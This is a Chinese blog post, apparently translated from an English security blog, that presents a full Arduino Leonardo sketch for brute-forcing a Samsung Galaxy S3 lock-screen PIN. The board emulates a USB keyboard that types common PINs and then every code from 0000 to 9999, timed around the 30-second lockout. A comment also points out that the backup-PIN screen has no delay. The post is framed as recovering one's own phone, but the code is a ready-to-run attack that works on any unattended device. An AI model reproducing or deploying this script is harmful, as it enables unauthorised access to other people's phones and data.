[关闭]
@plantpark 2014-08-14T13:54:04.000000Z 字数 3517 阅读 4014

通过arduino暴力破解Android手机

未分类


使用过安卓手机的小伙伴们肯定会有些惨痛经历,经常会忘记手机解锁图形和PIN码,但如果通过Root等方式破解手机恐怕再也无法得到官方保修,这里就介绍一种方法安全的破解它!

三星Galaxy S3手机在输错5次PIN码后,会要求等待30s然后重新输入,幸运的是,每次输错都会要求等待30s,这等待时间并不会更改,这就给了hack的机会。

因为Arduino Leonardo可以作为HID设备模拟键盘通过USB OTG连接到手机,在这里我就选用了Leonardo,文章末尾有详细的代码。为了减少破解时间,可以把自己常用的密码或者数字组合优先测试。

当然,三星Galaxy S3手机的PIN码只有四位,如果从0000一直尝试到9999大概只需要16个小时,如果你的手机碰巧是小米手机,PIN码又碰巧设了17位,那你就果断Root吧~~

  1. /*
  2. Brute forcing Android 4 Digit PIN's
  3. To run the whole range it will take upwards of 16 hours because of
  4. the 30 second delay after 5 bad inputs
  5. Intrestingly, if the target phone has the pattern enabled
  6. and the backup PIN set, the backup PIN entry system doesn't force the 30 second delay after
  7. invalid attempts
  8. http://blog.infosecsee.com */
  9. const int buttonPin = 2; // input pin for pushbutton
  10. int previousButtonState = HIGH; // for checking the state of a pushButton
  11. int counter = 0; // button push counter
  12. int check = 0;
  13. void setup() {
  14. pinMode(buttonPin, INPUT);
  15. Keyboard.begin();
  16. }
  17. void loop() {
  18. int buttonState = digitalRead(buttonPin);
  19. if ((buttonState != previousButtonState) && (buttonState == HIGH)) {
  20. Mouse.move(25, 50, 0);
  21. String three = "000";
  22. String two = "00";
  23. String one = "0";
  24. while(counter < 10000){
  25. delay(1000);
  26. while (check < 1){
  27. Keyboard.println("1234");
  28. delay(500);
  29. Keyboard.println("1111");
  30. delay(500);
  31. Keyboard.println("0000");
  32. delay(500);
  33. Keyboard.println("1212");
  34. delay(500);
  35. Keyboard.println("7777");
  36. Keyboard.println("");
  37. Keyboard.println("");
  38. delay(30000);
  39. Mouse.move(25, 50, 0);
  40. Keyboard.println("1004");
  41. delay(500);
  42. Keyboard.println("2000");
  43. delay(500);
  44. Keyboard.println("4444");
  45. delay(500);
  46. Keyboard.println("2222");
  47. delay(500);
  48. Keyboard.println("6969");
  49. Keyboard.println("");
  50. Keyboard.println("");
  51. delay(30000);
  52. Mouse.move(25, 50, 0);
  53. Mouse.move(25, 50, 0);
  54. Keyboard.println("9999");
  55. delay(500);
  56. Keyboard.println("3333");
  57. delay(500);
  58. Keyboard.println("5555");
  59. delay(500);
  60. Keyboard.println("6666");
  61. delay(500);
  62. Keyboard.println("1122");
  63. Keyboard.println("");
  64. Keyboard.println("");
  65. delay(30000);
  66. Mouse.move(25, 50, 0);
  67. Keyboard.println("1313");
  68. delay(500);
  69. Keyboard.println("8888");
  70. delay(500);
  71. Keyboard.println("4321");
  72. delay(500);
  73. Keyboard.println("2001");
  74. delay(500);
  75. Keyboard.println("1010");
  76. delay(500);
  77. Keyboard.println("");
  78. Keyboard.println("");
  79. delay(30000);
  80. Mouse.move(25, 50, 0);
  81. check++;}
  82. if (counter < 10 && check == 1) {
  83. Keyboard.println(three + counter);
  84. delay(500);
  85. counter++;
  86. Keyboard.println(three + counter);
  87. delay(500);
  88. counter++;
  89. Keyboard.println(three + counter);
  90. delay(500);
  91. counter++;
  92. Keyboard.println(three + counter);
  93. delay(500);
  94. counter++;
  95. Keyboard.println(three + counter);
  96. delay(500);
  97. Keyboard.println("");
  98. Keyboard.println("");
  99. delay(30000);
  100. Mouse.move(25, 50, 0);
  101. }
  102. else if (counter < 100){
  103. Keyboard.println(two + counter);
  104. delay(500);
  105. counter++;
  106. Keyboard.println(two + counter);
  107. delay(500);
  108. counter++;
  109. Keyboard.println(two + counter);
  110. delay(500);
  111. counter++;
  112. Keyboard.println(two + counter);
  113. delay(500);
  114. counter++;
  115. Keyboard.println(two + counter);
  116. delay(500);
  117. Keyboard.println("");
  118. Keyboard.println("");
  119. delay(30000);
  120. Mouse.move(25, 50, 0);
  121. }
  122. else if (counter < 1000){
  123. Keyboard.println(one + counter);
  124. delay(500);
  125. counter++;
  126. Keyboard.println(one + counter);
  127. delay(500);
  128. counter++;
  129. Keyboard.println(one + counter);
  130. delay(500);
  131. counter++;
  132. Keyboard.println(one + counter);
  133. delay(500);
  134. counter++;
  135. Keyboard.println(one + counter);
  136. delay(500);
  137. Keyboard.println("");
  138. Keyboard.println("");
  139. delay(30000);
  140. Mouse.move(25, 50, 0);
  141. }
  142. else {
  143. Keyboard.println(counter);
  144. delay(500);
  145. counter++;
  146. Keyboard.println(counter);
  147. delay(500);
  148. counter++;
  149. Keyboard.println(counter);
  150. delay(500);
  151. counter++;
  152. Keyboard.println(counter);
  153. delay(500);
  154. counter++;
  155. Keyboard.println(counter);
  156. delay(500);
  157. Keyboard.println("");
  158. Keyboard.println("");
  159. delay(30000);
  160. Mouse.move(25, 50, 0);
  161. }
  162. }
  163. }
  164. previousButtonState = buttonState;
  165. }

编译自 http://blog.infosecsee.com

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注